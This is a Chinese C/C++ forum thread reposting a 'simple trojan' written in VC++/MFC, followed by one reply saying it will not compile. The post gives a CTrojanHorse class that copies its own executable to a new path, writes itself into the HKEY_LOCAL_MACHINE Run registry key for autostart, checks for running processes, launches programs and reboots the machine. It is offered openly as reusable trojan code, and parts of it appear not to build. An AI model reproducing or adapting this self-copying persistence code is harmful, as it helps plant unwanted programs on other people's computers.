新书推介:《语义网技术体系》
作者:瞿裕忠,胡伟,程龚
   XML论坛     W3CHINA.ORG讨论区     计算机科学论坛     SOAChina论坛     Blog     开放翻译计划     新浪微博  
 
  • 首页
  • 登录
  • 注册
  • 软件下载
  • 资料下载
  • 核心成员
  • 帮助
  •   Add to Google

    >> 本版讨论高级C/C++编程、代码重构(Refactoring)、极限编程(XP)、泛型编程等话题
    [返回] 计算机科学论坛计算机技术与应用『 C/C++编程思想 』 → VC++实现的简单木马 查看新帖用户列表

      发表一个新主题  发表一个新投票  回复主题  (订阅本版) 您是本帖的第 6941 个阅读者浏览上一篇主题  刷新本主题   树形显示贴子 浏览下一篇主题
     * 贴子主题: VC++实现的简单木马 举报  打印  推荐  IE收藏夹 
       本主题类别: Description Logics    
     葛靖青001 美女呀,离线,快来找我吧!水瓶座1984-2-14
      
      
      等级:大三(研究MFC有点眉目了!)
      文章:168
      积分:595
      门派:XML.ORG.CN
      注册:2010/11/2

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给葛靖青001发送一个短消息 把葛靖青001加入好友 查看葛靖青001的个人资料 搜索葛靖青001在『 C/C++编程思想 』的所有贴子 点击这里发送电邮给葛靖青001 引用回复这个贴子 回复这个贴子 查看葛靖青001的博客楼主
    发贴心情 VC++实现的简单木马

    【转自互联网】

    Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.

      本代码已封装成类方便代码重用 :1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.

      交流

      class CTrojanHorse

      {

      public://add code

      public://add code

      CTrojanHorse();

      ~CTrojanHorse();

      protected://add code

      BOOL IfShell(CString BeKissPrcName);

      BOOL CopyFileaddr(CString m_CopyFile);

      void ShellFile(CString m_ShellFile);

      BOOL SetAutoRun(CString strPath);

      void ShutDown();

      private://add code

      };

      CTrojanHorse::CTrojanHorse()

      {

      //add code

      }

      CTrojanHorse::~CTrojanHorse()

      {

      //add code

      }

      BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行

      {

      CString str,a,prcnum;

      // CMainFrame *pDlg=(CMainFrame *)lparam;

      //AfxMessageBox(pDlg->BeKissPrcName);

      HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

      SHFILEINFO shSmall;

      PROCESSENTRY32 ProcessInfo;//声明进程信息变量

      ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小

      //返回系统中第一个进程的信息

      BOOL Status=Process32First(SnapShot,&ProcessInfo);

      int m_nProcess=0;

      int num=0;

      while(Status)

      {         num++;

      m_nProcess++;

      ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息

      SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,

      sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);

      //str.Format("%08x",ProcessInfo.th32ProcessID);
    str=ProcessInfo.szExeFile;

      if(str==BeKissPrcName)

      {

      AfxMessageBox("找到进程成功!");

      return true;

      }

      //获取下一个进程的信息

      Status=Process32Next(SnapShot,&ProcessInfo);

      }

      AfxMessageBox("失败!");

      return false;

      }

      BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件

      {

      char pBuf[MAX_PATH];

      CString m_addr;

      // CString m_strSrcFile1="D:/OperateFile.exe";

      // CString m_addr="D:/SVCLSV.exe";                                   //存放路径的变量

      GetCurrentDirectory(MAX_PATH,pBuf);                 //获取程序的当前目录

      strcat(pBuf,"\\");

      strcat(pBuf,AfxGetApp()->m_pszExeName);

      strcat(pBuf,".exe");

      m_addr=pBuf;

      if(CopyFile(m_addr,m_CopyFile,FALSE))

      {

      AfxMessageBox("复制成功!");

      return true;

      }

      return false;

      }

      void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序

      {

      ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHOWNORMAL);

      }

      BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表

      {

      CString str;

      HKEY hRegKey;

      BOOL bResult;

      str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

      if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS)

      bResult=FALSE;
    else

      {

      _splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL);

      strPath.ReleaseBuffer();

      str.ReleaseBuffer();

      if(::RegSetValueEx( hRegKey,

      str,

      0,

      REG_SZ,

      (CONST BYTE *)strPath.GetBuffer(0),

      strPath.GetLength() ) != ERROR_SUCCESS)

      bResult=FALSE;

      else

      bResult=TRUE;

      strPath.ReleaseBuffer();

      }

      return bResult;

      }

      void CTrojanHorse::ShutDown()//重新启动计算机

      {

      if (IDYES == MessageBox("是否现在重新启动计算机?", "注册表提示", MB_YESNO))

      {

      OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构

      OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

      GetVersionEx(&OsVerInfo);//取得系统的版本信息

      CString str1 = "", str2 = "";

      str1.Format("你的系统信息\n版本为:%d.%d\n", OsVerInfo.dwMajorVersion,

      OsVerInfo.dwMinorVersion);

      str2.Format("型号:%d\n", OsVerInfo.dwBuildNumber);

      str1 += str2;

      AfxMessageBox(str1);

      if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)

      ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机

      }

      }


       收藏   分享  
    顶(0)
      




    ----------------------------------------------
    ---人之所以能,是相信能!!

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2010/11/24 15:29:00
     
     jp627156 帅哥哟,离线,有人找我吗?
      
      
      等级:大一新生
      文章:2
      积分:58
      门派:XML.ORG.CN
      注册:2011/4/12

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给jp627156发送一个短消息 把jp627156加入好友 查看jp627156的个人资料 搜索jp627156在『 C/C++编程思想 』的所有贴子 引用回复这个贴子 回复这个贴子 查看jp627156的博客2
    发贴心情 
    程序通不过啊
    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2011/4/12 16:32:00
     
     GoogleAdSense
      
      
      等级:大一新生
      文章:1
      积分:50
      门派:无门无派
      院校:未填写
      注册:2007-01-01
    给Google AdSense发送一个短消息 把Google AdSense加入好友 查看Google AdSense的个人资料 搜索Google AdSense在『 C/C++编程思想 』的所有贴子 访问Google AdSense的主页 引用回复这个贴子 回复这个贴子 查看Google AdSense的博客广告
    2024/11/22 8:57:14

    本主题贴数2,分页: [1]

    管理选项修改tag | 锁定 | 解锁 | 提升 | 删除 | 移动 | 固顶 | 总固顶 | 奖励 | 惩罚 | 发布公告
    W3C Contributing Supporter! W 3 C h i n a ( since 2003 ) 旗 下 站 点
    苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
    78.125ms